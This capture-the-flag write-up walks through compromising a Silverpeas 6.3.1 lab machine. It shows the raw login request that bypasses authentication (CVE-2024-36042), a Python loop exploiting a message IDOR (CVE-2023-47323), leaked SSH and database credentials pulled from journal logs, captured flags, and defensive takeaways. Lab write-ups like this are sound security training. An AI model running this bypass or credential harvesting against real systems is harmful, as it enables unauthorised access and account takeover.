CTF Writeup: Silver Platter

0

Context

Overview

Chained two Silverpeas CVEs into SSH access, then pivoted through systemd journal logs to recover a reused database password for full root. CVE-2024-36042 bypasses authentication by omitting the Password field entirely, and CVE-2023-47323 is an IDOR that lets any authenticated user read arbitrary internal messages — including one containing SSH credentials left in a sticky note.

ATTACK CHAIN

CVE-2024-36042: Auth bypass (omit Password field)
  ↓
CVE-2023-47323: IDOR on SilverMail → read Message ID 6
  ↓
SSH creds: tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
  ↓
user flag: THM{c4ca4238a0b923820dcc509a6f75849b}
  ↓
adm group → journalctl → Docker DB_PASSWORD=_Zd_zx7N823/
  ↓
Credential reuse: SSH as tyler → sudo ALL
  ↓
root flag: THM{098f6bcd4621d373cade4e832627b4f6}

1

Reconnaissance

Port Scan & Web Enumeration

Port	Service	Version	Notes
`22/tcp`	SSH	OpenSSH 8.9p1	Final access vector
`80/tcp`	HTTP	nginx 1.18.0	Static page, mentions `scr1ptkiddy` + Silverpeas
`8080/tcp`	HTTP	Jetty 10.0.18	Silverpeas 6.3.1 at `/silverpeas/`

Port 80 serves a static page for “Hack Smarter Security” referencing a project manager scr1ptkiddy reachable via an internal Silverpeas instance. Version confirmed via JS file suffixes: 6.3.1.

2

Exploitation

CVE-2024-36042 — Authentication Bypass

When the Password field is completely omitted (not empty — omitted) from the POST to /silverpeas/AuthenticationServlet, the server authenticates without credential validation:

HTTP REQUEST

POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.112.164.140:8080
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0
// Note: no Password field at all

→ 302 Redirect to MainFrame.jsp — authenticated as SilverAdmin

CVE CVE-2024-36042 Type Authentication Bypass Affected Silverpeas 6.3.1 Root CauseMissing field = skipped validation (not rejected)

3

Exploitation

CVE-2023-47323 — IDOR on SilverMail

Any authenticated user can read arbitrary internal messages by enumerating the ID parameter — no authorization check:

PYTHON

for mid in range(1, 21):
    r = session.get(f"{BASE}/RSILVERMAIL/jsp/ReadMessage.jsp?ID={mid}")
    # Check content for credentials

Message ID 6 contains SSH credentials in plaintext:

SilverMail — Message #6

From: Administrateur | Date: 13/12/2023

Dude how do you always forget the SSH password?
Use a password manager and quit using your silly sticky notes.

Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

4

Initial Access

SSH as tim → User Flag

BASH

$ ssh tim@10.112.164.140
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

$ cat ~/user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}

5

Privilege Escalation

adm Group → Journal Logs → Tyler’s Password

The adm group grants read access to systemd journal logs. Tyler’s Docker run command is logged with the database password in cleartext:

BASH

$ journalctl _UID=1000 --no-pager | grep DB_PASSWORD

Dec 13 15:45:57 silver-platter sudo[2616]: tyler : TTY=tty1 ; PWD=/ ;
  COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d
  -e DB_NAME=Silverpeas -e DB_USER=silverpeas
  -e DB_PASSWORD=_Zd_zx7N823/
  silverpeas:6.3.1

Credential reuse: _Zd_zx7N823/ is also tyler’s system password.

6

Root

SSH as tyler → sudo → Root Flag

BASH

$ ssh tyler@10.112.164.140
Password: _Zd_zx7N823/

$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

$ sudo cat /root/root.txt
THM{098f6bcd4621d373cade4e832627b4f6}

Visualization

Attack Chain

1

CVE-2024-36042 — Auth Bypass

Omit Password field → authenticated as SilverAdmin

2

CVE-2023-47323 — IDOR

Enumerate SilverMail → Message #6 → tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

3

SSH as tim

adm group → User: THM{c4ca4238a0b923820dcc509a6f75849b}

4

Journal Log → Credential Reuse

journalctl → DB_PASSWORD → SSH as tyler

sudo ALL → Root

sudo cat /root/root.txt → Root: THM{098f6bcd4621d373cade4e832627b4f6}

Assessment

Vulnerabilities

Finding	CVE	Severity	Impact
Silverpeas authentication bypass	CVE-2024-36042	Critical	Login as any user without credentials
SilverMail IDOR	CVE-2023-47323	Critical	Read arbitrary internal messages
Credential reuse (DB → SSH)	—	High	Database password reused as system account password
Secrets in Docker CLI arguments	—	High	DB_PASSWORD visible in journal logs permanently
Excessive adm group membership	—	Medium	tim can read all system logs including tyler’s commands

Defense

Takeaways

Validate All Auth Fields

Missing fields must be rejected, not silently accepted. Server-side validation must require both username and password to be present.

Enforce Authorization Per-Request

Silverpeas trusted the session without verifying message ownership. Every resource access must check if the requesting user is authorized.

Secrets Don’t Belong in CLI Args

Command-line arguments appear in ps, /proc/*/cmdline, and system logs permanently. Use Docker secrets, env files, or vaults.

Never Reuse Credentials

Database passwords and system account passwords must be independent. Credential reuse collapses the security boundary between app and OS.

Automation

Full Exploit Script

BASH

$ python3 silver_platter_auto.py

[+] Auth bypass successful — logged in as SilverAdmin
[+] Credentials found: tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
[+] USER FLAG: THM{c4ca4238a0b923820dcc509a6f75849b}
[+] Found credential in docker run: DB_PASSWORD=_Zd_zx7N823/
[+] ROOT FLAG: THM{098f6bcd4621d373cade4e832627b4f6}

View source on GitHub

Arsenal

Tools Used

Tool	Purpose
`nmap`	Port scanning and service enumeration
`python3 + requests`	Auth bypass + IDOR enumeration
`python3 + paramiko`	SSH access and command execution
`journalctl`	Systemd journal log analysis
`silver_platter_auto.py`	Full automated exploit chain